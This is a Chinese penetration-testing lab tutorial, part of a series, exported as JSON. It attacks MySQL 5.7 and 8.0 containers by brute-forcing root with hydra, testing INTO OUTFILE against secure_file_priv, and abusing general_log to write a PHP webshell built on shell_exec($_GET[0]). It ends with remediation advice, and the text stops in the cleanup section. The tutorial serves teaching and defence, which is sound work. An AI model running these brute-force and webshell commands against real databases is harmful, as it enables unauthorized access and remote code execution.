{"id":119446,"date":"2026-10-29T17:24:52","date_gmt":"2026-10-29T09:24:52","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/119446.html"},"modified":"2026-10-29T17:24:52","modified_gmt":"2026-10-29T09:24:52","slug":"%e6%b8%97%e9%80%8f%e6%b5%8b%e8%af%95%e5%ae%9e%e6%88%98%e4%bb%8e%e9%9d%b6%e5%9c%ba%e6%90%ad%e5%bb%ba%e5%88%b0%e6%b8%97%e9%80%8f%e6%b5%81%e7%a8%8b-%e7%ac%ac-8-%e7%af%87-%c2%b7-%e6%9c%8d","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/119446.html","title":{"rendered":"\u6e17\u900f\u6d4b\u8bd5\u5b9e\u6218\u4ece\u9776\u573a\u642d\u5efa\u5230\u6e17\u900f\u6d41\u7a0b\u2014\u2014\u7b2c 8 \u7bc7 \u00b7 \u670d\u52a1\u578b\u9776\u6807\uff08\u4e0a\uff09\uff1aMySQL \u53cc\u7248\u672c\u5199\u6587\u4ef6\u94fe"},"content":{"rendered":"<h2 style=\"text-align:center\"><span style=\"color:#1f4e79\"><span style=\"color:#1f4e79\">\u76ee \u00a0\u5f55<\/span><\/span><\/h2>\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\">\n<p><span style=\"color:#333333\"><span style=\"color:#333333\">\u4e00\u3001\u9776\u6807\u4e0e\u63a5\u5165&#xff1a;\u4ece\u7206\u7834\u5230\u8fde\u63a5<\/span><\/span><\/p>\n<p style=\"margin-left:21pt\"><span style=\"color:#333333\"><span style=\"color:#333333\">1.1 \u7206\u7834\u4e0e\u8fde\u63a5<\/span><\/span><\/p>\n<p><span style=\"color:#333333\"><span style=\"color:#333333\">\u4e8c\u3001INTO OUTFILE&#xff1a;\u88ab secure_file_priv \u62e6\u4f4f\u7684\u7b2c\u4e00\u6761\u8def<\/span><\/span><\/p>\n<p style=\"margin-left:21pt\"><span style=\"color:#333333\"><span style=\"color:#333333\">2.1 \u767d\u540d\u5355\u5185&#xff1a;\u6210\u529f<\/span><\/span><\/p>\n<p style=\"margin-left:21pt\"><span style=\"color:#333333\"><span style=\"color:#333333\">2.2 \u767d\u540d\u5355\u5916&#xff1a;1290 \u62a5\u9519<\/span><\/span><\/p>\n<p><span style=\"color:#333333\"><span style=\"color:#333333\">\u4e09\u3001general_log \u5199\u6587\u4ef6&#xff1a;\u7ed5\u8fc7 secure_file_priv \u7684\u6b63\u89e3<\/span><\/span><\/p>\n<p style=\"margin-left:21pt\"><span style=\"color:#333333\"><span style=\"color:#333333\">3.1 8.0 \u5bf9\u7167&#xff1a;\u540c\u6837\u53ef\u884c&#xff0c;\u7ba1\u63a7\u5728\u522b\u5904<\/span><\/span><\/p>\n<p><span style=\"color:#333333\"><span style=\"color:#333333\">\u56db\u3001\u7248\u672c\u5dee\u5f02\u4e0e\u5229\u7528\u9762\u603b\u7ed3<\/span><\/span><\/p>\n<p><span style=\"color:#333333\"><span style=\"color:#333333\">\u4e94\u3001\u9632\u5fa1\u89c6\u89d2\u3001\u9a8c\u6536\u4e0e\u6e05\u573a<\/span><\/span><\/p>\n<p style=\"margin-left:21pt\"><span style=\"color:#333333\"><span style=\"color:#333333\">5.1 \u4fee\u590d\u5efa\u8bae<\/span><\/span><\/p>\n<p style=\"margin-left:21pt\"><span style=\"color:#333333\"><span style=\"color:#333333\">5.2 \u9a8c\u6536\u6807\u51c6<\/span><\/span><\/p>\n<p style=\"margin-left:21pt\"><span style=\"color:#333333\"><span style=\"color:#333333\">5.3 \u6e05\u573a<\/span><\/span><\/p>\n<\/p>\n<h2><span style=\"color:#1f4e79\"><span style=\"color:#1f4e79\">\u4e00\u3001\u9776\u6807\u4e0e\u63a5\u5165&#xff1a;\u4ece\u7206\u7834\u5230\u8fde\u63a5<\/span><\/span><\/h2>\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"color:#333333\"><span style=\"color:#333333\">\u670d\u52a1\u578b\u9776\u6807\u7684\u73a9\u6cd5\u4e0e Web \u9776\u573a\u4e0d\u540c&#xff1a;\u653b\u51fb\u5165\u53e3\u4ece HTTP \u6362\u6210\u6570\u636e\u5e93\u534f\u8bae&#xff0c;\u653b\u51fb\u9762\u662f\u300c\u5f31\u53e3\u4ee4 &#043; \u670d\u52a1\u7aef\u914d\u7f6e\u7f3a\u9677\u300d\u3002\u672c\u7bc7\u9776\u6807\u662f\u7b2c 1 \u7bc7\u90e8\u7f72\u7684 MySQL 5.7.44&#xff08;3307&#xff09;\u4e0e 8.0.46&#xff08;3308&#xff09;&#xff0c;root\/root \u5f31\u53e3\u4ee4\u5373\u5207\u5165\u70b9\u3002<\/span><\/span><\/p>\n<h3><span style=\"color:#1f4e79\"><span style=\"color:#1f4e79\">1.1 \u7206\u7834\u4e0e\u8fde\u63a5<\/span><\/span><\/h3>\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"background-color:#f2f2f2\"><span style=\"color:#333333\"><span style=\"color:#333333\"># hydra \u7206\u7834&#xff08;\u5148\u786e\u8ba4\u8d26\u53f7\u5b58\u5728&#xff1a;nmap -p3307 &#8211;script mysql-brute \u5feb\u901f\u6478\u5e95&#xff09;<\/span><\/span><\/span><\/p>\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"background-color:#f2f2f2\"><span style=\"color:#333333\"><span style=\"color:#333333\">hydra -l root -P \/usr\/share\/wordlists\/rockyou.txt mysql:\/\/10.10.10.240:3307 -t 8<\/span><\/span><\/span><\/p>\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"background-color:#f2f2f2\"><span style=\"color:#333333\"><span style=\"color:#333333\"># [3307][mysql] host: 10.10.10.240 \u00a0login: root \u00a0password: root<\/span><\/span><\/span><\/p>\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\">\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"background-color:#f2f2f2\"><span style=\"color:#333333\"><span style=\"color:#333333\"># \u8fde\u63a5&#xff1a;MySQL 8.0 \u5fc5\u52a0 &#8211;skip-ssl&#xff08;8.0 \u9ed8\u8ba4\u5f3a\u5236 TLS&#xff0c;\u65e7\u5ba2\u6237\u7aef\u63e1\u624b\u5931\u8d25&#xff09;<\/span><\/span><\/span><\/p>\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"background-color:#f2f2f2\"><span style=\"color:#333333\"><span style=\"color:#333333\">mysql -h10.10.10.240 -P3307 -uroot -proot &#8211;skip-ssl -e &#034;select version();&#034;<\/span><\/span><\/span><\/p>\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"background-color:#f2f2f2\"><span style=\"color:#333333\"><span style=\"color:#333333\">mysql -h10.10.10.240 -P3308 -uroot -proot &#8211;skip-ssl -e &#034;select version();&#034;<\/span><\/span><\/span><\/p>\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\">\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"color:#333333\"><span style=\"color:#333333\">5.7 \u8fd4\u56de 5.7.44-log&#xff0c;8.0 \u8fd4\u56de 8.0.46\u3002\u4e24\u4e2a\u7248\u672c\u5c31\u662f\u4e00\u7ec4\u5bf9\u7167\u7ec4&#xff1a;\u540c\u4e00\u5957\u5199\u6587\u4ef6\u94fe&#xff0c;\u4e24\u8fb9\u8868\u73b0\u5b8c\u5168\u4e0d\u540c\u2014\u2014\u8fd9\u6b63\u662f\u672c\u7bc7\u8981\u8bb2\u7684\u653b\u9632\u6f14\u5316\u3002<\/span><\/span><\/p>\n<h2><span style=\"color:#1f4e79\"><span style=\"color:#1f4e79\">\u4e8c\u3001INTO OUTFILE&#xff1a;\u88ab secure_file_priv \u62e6\u4f4f\u7684\u7b2c\u4e00\u6761\u8def<\/span><\/span><\/h2>\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"color:#333333\"><span style=\"color:#333333\">\u7ecf\u5178\u5199\u6587\u4ef6\u59ff\u52bf\u662f SELECT &#8230; INTO OUTFILE&#xff0c;\u628a\u67e5\u8be2\u7ed3\u679c\u843d\u6210\u670d\u52a1\u5668\u4e0a\u7684\u6587\u4ef6\u3002\u5148\u770b\u53d8\u91cf\u7ea6\u675f&#xff1a;<\/span><\/span><\/p>\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"background-color:#f2f2f2\"><span style=\"color:#333333\"><span style=\"color:#333333\">mysql -h10.10.10.240 -P3307 -uroot -proot &#8211;skip-ssl -e &#034;show variables like &#039;secure_file_priv&#039;;&#034;<\/span><\/span><\/span><\/p>\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\">\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"background-color:#f2f2f2\"><span style=\"color:#333333\"><span style=\"color:#333333\"># \u9884\u671f&#xff08;\u5b9e\u6d4b&#xff0c;\u4e24\u4e2a\u7248\u672c\u4e00\u81f4&#xff09;&#xff1a;<\/span><\/span><\/span><\/p>\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"background-color:#f2f2f2\"><span style=\"color:#333333\"><span style=\"color:#333333\"># Variable_name \u00a0\u00a0\u00a0\u00a0Value<\/span><\/span><\/span><\/p>\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"background-color:#f2f2f2\"><span style=\"color:#333333\"><span style=\"color:#333333\"># secure_file_priv \u00a0\/var\/lib\/mysql-files\/<\/span><\/span><\/span><\/p>\n<h3><span style=\"color:#1f4e79\"><span style=\"color:#1f4e79\">2.1 \u767d\u540d\u5355\u5185&#xff1a;\u6210\u529f<\/span><\/span><\/h3>\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"background-color:#f2f2f2\"><span style=\"color:#333333\"><span style=\"color:#333333\">mysql -h10.10.10.240 -P3307 -uroot -proot &#8211;skip-ssl -e &#034;select &#039;GL_MARK_OK&#039; into outfile &#039;\/var\/lib\/mysql-files\/gl.txt&#039;;&#034;<\/span><\/span><\/span><\/p>\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"background-color:#f2f2f2\"><span style=\"color:#333333\"><span style=\"color:#333333\">docker exec mysql57 grep -c GL_MARK_OK \/var\/lib\/mysql-files\/gl.txt<\/span><\/span><\/span><\/p>\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"background-color:#f2f2f2\"><span style=\"color:#333333\"><span style=\"color:#333333\"># 1 \u2192 \u5199\u5165\u6210\u529f\u3002\u5bb9\u5668\u5185\u9a8c\u8bc1&#xff0c;\u522b\u53ea\u4fe1 SQL \u8fd4\u56de\u7684 Query OK<\/span><\/span><\/span><\/p>\n<h3><span style=\"color:#1f4e79\"><span style=\"color:#1f4e79\">2.2 \u767d\u540d\u5355\u5916&#xff1a;1290 \u62a5\u9519<\/span><\/span><\/h3>\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"background-color:#f2f2f2\"><span style=\"color:#333333\"><span style=\"color:#333333\">mysql -h10.10.10.240 -P3307 -uroot -proot &#8211;skip-ssl -e &#034;select &#039;X&#039; into outfile &#039;\/var\/www\/html\/x.php&#039;;&#034;<\/span><\/span><\/span><\/p>\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\">\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"background-color:#f2f2f2\"><span style=\"color:#333333\"><span style=\"color:#333333\"># \u9884\u671f&#xff08;\u5b9e\u6d4b&#xff09;&#xff1a;ERROR 1290 (HY000):<\/span><\/span><\/span><\/p>\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"background-color:#f2f2f2\"><span style=\"color:#333333\"><span style=\"color:#333333\"># The MySQL server is running with the &#8211;secure-file-priv option so it cannot execute this statement<\/span><\/span><\/span><\/p>\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\">\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"color:#333333\"><span style=\"color:#333333\">1290 \u662f\u672c\u7bc7\u7b2c\u4e00\u4e2a\u5173\u952e\u5b66\u4e60\u70b9&#xff1a;secure_file_priv \u4ece MySQL 5.7.6 \u8d77\u9ed8\u8ba4\u6307\u5411\u4e13\u7528\u76ee\u5f55&#xff0c;OUTFILE\/LOAD_FILE \u53ea\u80fd\u5728\u8be5\u76ee\u5f55\u5185\u6d3b\u52a8\u2014\u2014\u60f3\u628a webshell \u5199\u8fdb \/var\/www\/html \u76f4\u63a5\u649e\u5899\u3002UDF \u63d0\u6743\u540c\u7406&#xff1a;\u5b83\u9700\u8981\u628a .so \u5199\u8fdb plugin_dir&#xff0c;\u800c plugin_dir \u540c\u6837\u4e0d\u5728\u767d\u540d\u5355\u5185&#xff0c;\u5199\u4e0d\u8fdb\u53bb&#xff0c;\u6574\u6761\u94fe\u5728\u7b2c\u4e00\u6b65\u5c31\u65ad&#xff08;\u7b2c 1 \u7bc7\u90e8\u7f72\u65f6\u7528\u5b98\u65b9\u955c\u50cf\u9ed8\u8ba4\u914d\u7f6e&#xff0c;\u6b63\u662f\u73b0\u5b9e\u4e16\u754c\u7684\u4e3b\u6d41\u5f62\u6001&#xff09;\u3002<\/span><\/span><\/p>\n<h2><span style=\"color:#1f4e79\"><span style=\"color:#1f4e79\">\u4e09\u3001general_log \u5199\u6587\u4ef6&#xff1a;\u7ed5\u8fc7 secure_file_priv \u7684\u6b63\u89e3<\/span><\/span><\/h2>\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"color:#333333\"><span style=\"color:#333333\">general_log&#xff08;\u901a\u7528\u67e5\u8be2\u65e5\u5fd7&#xff09;\u7684\u65e5\u5fd7\u6587\u4ef6\u8def\u5f84\u7531 general_log_file \u6307\u5b9a&#xff0c;\u800c\u8fd9\u4e24\u4e2a\u53d8\u91cf\u4e0d\u5f52 secure_file_priv \u7ba1\u3002\u628a\u65e5\u5fd7\u6587\u4ef6\u6307\u5230 Web \u76ee\u5f55\u3001\u5f00\u65e5\u5fd7&#xff0c;MySQL \u5c31\u4f1a\u628a\u6211\u4eec\u63d0\u4ea4\u7684 SQL \u539f\u6587\u5199\u8fdb\u53bb\u2014\u2014SQL \u91cc\u5e26 PHP \u4ee3\u7801&#xff0c;\u843d\u76d8\u5373 webshell\u3002<\/span><\/span><\/p>\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"background-color:#f2f2f2\"><span style=\"color:#333333\"><span style=\"color:#333333\"># 1) \u5f00\u542f\u65e5\u5fd7\u5e76\u6307\u5411 Web \u76ee\u5f55&#xff08;\u4ee5 5.7 \u4e3a\u4f8b&#xff09;<\/span><\/span><\/span><\/p>\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"background-color:#f2f2f2\"><span style=\"color:#333333\"><span style=\"color:#333333\">mysql -h10.10.10.240 -P3307 -uroot -proot &#8211;skip-ssl -e &#034;set global general_log_file&#061;&#039;\/var\/lib\/mysql\/shell.php&#039;; set global general_log&#061;on;&#034;<\/span><\/span><\/span><\/p>\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\">\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"background-color:#f2f2f2\"><span style=\"color:#333333\"><span style=\"color:#333333\"># 2) \u5199\u5165\u5e26 PHP \u4ee3\u7801\u7684 SQL&#xff08;\u65e5\u5fd7\u539f\u6837\u8bb0\u5f55&#xff09;<\/span><\/span><\/span><\/p>\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"background-color:#f2f2f2\"><span style=\"color:#333333\"><span style=\"color:#333333\">mysql -h10.10.10.240 -P3307 -uroot -proot &#8211;skip-ssl -e &#034;select &#039;&lt;?php echo \\\\&#034;GL_LOG_OK_\\\\&#034;.shell_exec(\\\\$_GET[0]);?&gt;&#039;;&#034;<\/span><\/span><\/span><\/p>\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\">\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"background-color:#f2f2f2\"><span style=\"color:#333333\"><span style=\"color:#333333\"># 3) \u5bb9\u5668\u5185\u786e\u8ba4\u843d\u76d8\u5185\u5bb9<\/span><\/span><\/span><\/p>\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"background-color:#f2f2f2\"><span style=\"color:#333333\"><span style=\"color:#333333\">docker exec mysql57 grep -c GL_LOG_OK \/var\/lib\/mysql\/shell.php<\/span><\/span><\/span><\/p>\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"background-color:#f2f2f2\"><span style=\"color:#333333\"><span style=\"color:#333333\"># 1 \u2192 \u6210\u529f<\/span><\/span><\/span><\/p>\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\">\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"color:#333333\"><span style=\"color:#333333\">\u4e24\u4e2a\u5b9e\u64cd\u7ec6\u8282&#xff1a;\u2460 \u8def\u5f84\u6309\u5b9e\u9645 Web \u6839\u8c03\u6574&#xff0c;\u9776\u573a MySQL \u5b98\u65b9\u955c\u50cf\u6ca1\u6709 Web \u670d\u52a1&#xff0c;\u6f14\u793a\u65f6\u5199 \/var\/lib\/mysql\/ \u5e76\u7528 <\/span><span style=\"color:#333333\">docker exec grep<\/span><span style=\"color:#333333\">\u00a0\u9a8c\u8bc1\u843d\u76d8\u5373\u53ef&#xff0c;\u539f\u7406\u4e0e\u5199 \/var\/www\/html \u5b8c\u5168\u7b49\u4ef7&#xff1b;\u2461 PHP \u4ee3\u7801\u91cc\u7684 <\/span><span style=\"color:#333333\">$_GET<\/span><span style=\"color:#333333\">\u00a0\u7b49\u7b26\u53f7\u5728 SQL \u5355\u5f15\u53f7\u5185\u539f\u6837\u4fdd\u7559&#xff0c;\u8f6c\u4e49\u5c42\u6570\u591a\u4e86\u5bb9\u6613\u9519&#xff0c;\u5efa\u8bae\u5148\u5728\u672c\u5730\u628a PHP \u4e32\u5199\u597d\u3001\u518d\u7528\u53cc\u5f15\u53f7\u5305 SQL\u3002<\/span><\/span><\/p>\n<h3><span style=\"color:#1f4e79\"><span style=\"color:#1f4e79\">3.1 8.0 \u5bf9\u7167&#xff1a;\u540c\u6837\u53ef\u884c&#xff0c;\u7ba1\u63a7\u5728\u522b\u5904<\/span><\/span><\/h3>\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"background-color:#f2f2f2\"><span style=\"color:#333333\"><span style=\"color:#333333\">mysql -h10.10.10.240 -P3308 -uroot -proot &#8211;skip-ssl -e &#034;set global general_log_file&#061;&#039;\/var\/lib\/mysql-files\/s80.txt&#039;; set global general_log&#061;on; select &#039;M80_MARK&#039;;&#034;<\/span><\/span><\/span><\/p>\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"background-color:#f2f2f2\"><span style=\"color:#333333\"><span style=\"color:#333333\">docker exec mysql80 grep -c M80_MARK \/var\/lib\/mysql-files\/s80.txt<\/span><\/span><\/span><\/p>\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"background-color:#f2f2f2\"><span style=\"color:#333333\"><span style=\"color:#333333\"># 1 \u2192 8.0 \u540c\u6837\u6253\u901a\u3002general_log \u94fe\u4e24\u4e2a\u7248\u672c\u90fd\u6d3b\u7740<\/span><\/span><\/span><\/p>\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\">\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"color:#333333\"><span style=\"color:#333333\">\u4e3a\u4ec0\u4e48\u8fd9\u6761\u94fe\u6ca1\u88ab\u5835&#xff1a;\u65e5\u5fd7\u8def\u5f84\u662f DBA \u7684\u5408\u6cd5\u8fd0\u7ef4\u914d\u7f6e&#xff08;\u6392\u969c\u521a\u9700&#xff09;&#xff0c;\u5b98\u65b9\u4e0d\u80fd\u4e00\u5200\u5207\u7981\u6389\u3002\u5b83\u7684\u9632\u7ebf\u8f6c\u79fb\u5230\u4e86\u522b\u5904\u2014\u2014Web \u4e0e MySQL \u5206\u79bb\u90e8\u7f72&#xff08;\u6570\u636e\u5e93\u4e0a\u6839\u672c\u6ca1\u6709 Web \u76ee\u5f55&#xff09;\u3001\u5e94\u7528\u8d26\u53f7\u4e0d\u6388 SUPER \u6743\u9650\u3001\u5ba1\u8ba1 general_log \u7684\u5f00\u542f\u884c\u4e3a\u3002\u653b\u9632\u4e24\u7aef\u90fd\u503c\u5f97\u8bb0\u4f4f\u8fd9\u4e2a\u300c\u5408\u6cd5\u529f\u80fd\u6210\u4e3a\u653b\u51fb\u9762\u300d\u7684\u6a21\u5f0f\u3002<\/span><\/span><\/p>\n<h2><span style=\"color:#1f4e79\"><span style=\"color:#1f4e79\">\u56db\u3001\u7248\u672c\u5dee\u5f02\u4e0e\u5229\u7528\u9762\u603b\u7ed3<\/span><\/span><\/h2>\n<table align=\"center\" border=\"1\" cellspacing=\"0\" style=\"width:468.0000pt\">\n<tbody>\n<tr>\n<td style=\"background-color:#1f4e79;width:132.9500pt\">\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:center\"><span style=\"color:#333333\"><span style=\"color:#ffffff\">\u5bf9\u6bd4\u9879<\/span><\/span><\/p>\n<\/td>\n<td style=\"background-color:#1f4e79;width:167.5000pt\">\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:center\"><span style=\"color:#333333\"><span style=\"color:#ffffff\">MySQL 5.7.44<\/span><\/span><\/p>\n<\/td>\n<td style=\"background-color:#1f4e79;width:167.5500pt\">\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:center\"><span style=\"color:#333333\"><span style=\"color:#ffffff\">MySQL 8.0.46<\/span><\/span><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td style=\"vertical-align:top;width:132.9500pt\">\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"color:#333333\"><span style=\"color:#333333\">\u8fde\u63a5<\/span><\/span><\/p>\n<\/td>\n<td style=\"vertical-align:top;width:167.5000pt\">\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"color:#333333\"><span style=\"color:#333333\">root\/root&#xff0c;\u9700 &#8211;skip-ssl&#xff08;5.7.34&#043; \u9ed8\u8ba4 TLS&#xff09;<\/span><\/span><\/p>\n<\/td>\n<td style=\"vertical-align:top;width:167.5500pt\">\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"color:#333333\"><span style=\"color:#333333\">root\/root&#xff0c;\u9700 &#8211;skip-ssl<\/span><\/span><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td style=\"background-color:#eaf1f8;width:132.9500pt\">\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"color:#333333\"><span style=\"color:#333333\">INTO OUTFILE<\/span><\/span><\/p>\n<\/td>\n<td style=\"background-color:#eaf1f8;width:167.5000pt\">\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"color:#333333\"><span style=\"color:#333333\">secure_file_priv&#061;\/var\/lib\/mysql-files\/&#xff0c;\u767d\u540d\u5355\u5916\u62a5 1290<\/span><\/span><\/p>\n<\/td>\n<td style=\"background-color:#eaf1f8;width:167.5500pt\">\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"color:#333333\"><span style=\"color:#333333\">\u540c\u5de6<\/span><\/span><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td style=\"vertical-align:top;width:132.9500pt\">\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"color:#333333\"><span style=\"color:#333333\">UDF \u63d0\u6743<\/span><\/span><\/p>\n<\/td>\n<td style=\"vertical-align:top;width:167.5000pt\">\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"color:#333333\"><span style=\"color:#333333\">\u5199 plugin_dir \u88ab\u767d\u540d\u5355\u62e6\u622a<\/span><\/span><\/p>\n<\/td>\n<td style=\"vertical-align:top;width:167.5500pt\">\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"color:#333333\"><span style=\"color:#333333\">\u540c\u5de6<\/span><\/span><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td style=\"background-color:#eaf1f8;width:132.9500pt\">\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"color:#333333\"><span style=\"color:#333333\">general_log \u5199\u6587\u4ef6<\/span><\/span><\/p>\n<\/td>\n<td style=\"background-color:#eaf1f8;width:167.5000pt\">\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"color:#333333\"><span style=\"color:#333333\">\u53ef\u7528&#xff08;\u6838\u5fc3\u8003\u70b9&#xff09;<\/span><\/span><\/p>\n<\/td>\n<td style=\"background-color:#eaf1f8;width:167.5500pt\">\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"color:#333333\"><span style=\"color:#333333\">\u53ef\u7528&#xff08;\u6838\u5fc3\u8003\u70b9&#xff09;<\/span><\/span><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td style=\"vertical-align:top;width:132.9500pt\">\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"color:#333333\"><span style=\"color:#333333\">\u6587\u4ef6\u5199\u5165\u53ef\u63a7\u6027<\/span><\/span><\/p>\n<\/td>\n<td style=\"vertical-align:top;width:167.5000pt\">\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"color:#333333\"><span style=\"color:#333333\">\u65e5\u5fd7\u8def\u5f84\u4efb\u610f\u6307\u5b9a<\/span><\/span><\/p>\n<\/td>\n<td style=\"vertical-align:top;width:167.5500pt\">\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"color:#333333\"><span style=\"color:#333333\">\u65e5\u5fd7\u8def\u5f84\u4efb\u610f\u6307\u5b9a<\/span><\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\">\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"color:#333333\"><span style=\"color:#333333\">\u5229\u7528\u9762\u6392\u5e8f&#xff08;\u4ece\u5f31\u53e3\u4ee4\u5f00\u59cb&#xff09;&#xff1a;\u7206\u7834 root \u2192 \u63a2\u6d4b secure_file_priv \u2192 OUTFILE \u767d\u540d\u5355\u5224\u5b9a \u2192 general_log \u843d\u6587\u4ef6 \u2192 \u7ed3\u5408 Web \u89e3\u6790\u6210 RCE\u3002\u6bcf\u4e00\u6b65\u90fd\u6709\u660e\u786e\u7684\u6210\u8d25\u5224\u636e&#xff0c;\u4e0d\u9760\u731c\u3002<\/span><\/span><\/p>\n<h2><span style=\"color:#1f4e79\"><span style=\"color:#1f4e79\">\u4e94\u3001\u9632\u5fa1\u89c6\u89d2\u3001\u9a8c\u6536\u4e0e\u6e05\u573a<\/span><\/span><\/h2>\n<h3><span style=\"color:#1f4e79\"><span style=\"color:#1f4e79\">5.1 \u4fee\u590d\u5efa\u8bae<\/span><\/span><\/h3>\n<ul>\n<li><span style=\"color:#333333\">root \u7981\u6b62\u8fdc\u7a0b\u767b\u5f55&#xff08;bind-address&#061;127.0.0.1 &#043; user \u8868 host \u9650\u5236&#xff09;&#xff0c;\u675c\u7edd\u5f31\u53e3\u4ee4\u7206\u7834\u9762\u3002<\/span><\/li>\n<li><span style=\"color:#333333\">secure_file_priv \u8bbe\u4e3a\u4e13\u7528\u76ee\u5f55&#xff08;\u6216 NULL&#xff09;&#xff0c;Web \u76ee\u5f55\u7edd\u4e0d\u653e\u5165\u767d\u540d\u5355\u3002<\/span><\/li>\n<li><span style=\"color:#333333\">\u5e94\u7528\u8d26\u53f7\u6700\u5c0f\u6743\u9650&#xff1a;\u53ea\u6388\u4e1a\u52a1\u5e93\u589e\u5220\u6539\u67e5&#xff0c;\u7edd\u4e0d\u6388 FILE\/SUPER\/global \u53d8\u91cf\u4fee\u6539\u6743\u3002<\/span><\/li>\n<li><span style=\"color:#333333\">\u76d1\u63a7 general_log \u5f00\u5173\u53d8\u66f4&#xff08;\u5ba1\u8ba1 set global \u8bed\u53e5&#xff09;&#xff0c;\u751f\u4ea7\u73af\u5883\u9ed8\u8ba4\u5173\u95ed\u3002<\/span><\/li>\n<\/ul>\n<h3><span style=\"color:#1f4e79\"><span style=\"color:#1f4e79\">5.2 \u9a8c\u6536\u6807\u51c6<\/span><\/span><\/h3>\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"color:#333333\"><span style=\"color:#333333\">\u4e24\u4e2a\u7248\u672c\u90fd\u80fd\u8fde\u63a5&#xff08;\u542b &#8211;skip-ssl \u7ec6\u8282&#xff09;&#xff1b;OUTFILE \u767d\u540d\u5355\u5185\u6210\u529f\u3001\u767d\u540d\u5355\u5916 1290&#xff08;\u4e24\u4e2a\u73b0\u8c61\u90fd\u8981\u62ff\u5230&#xff09;&#xff1b;general_log \u94fe\u5728\u4e24\u4e2a\u7248\u672c\u5747\u901a\u8fc7\u5bb9\u5668\u5185 grep \u786e\u8ba4\u843d\u76d8\u3002<\/span><\/span><\/p>\n<h3><span style=\"color:#1f4e79\"><span style=\"color:#1f4e79\">5.3 \u6e05\u573a<\/span><\/span><\/h3>\n<p style=\"margin-left:.0001pt;margin-right:0;text-align:justify\"><span style=\"background-color:#f2f2f2\"><span style=\"color:#333333\"><span style=\"color:#333333\"># 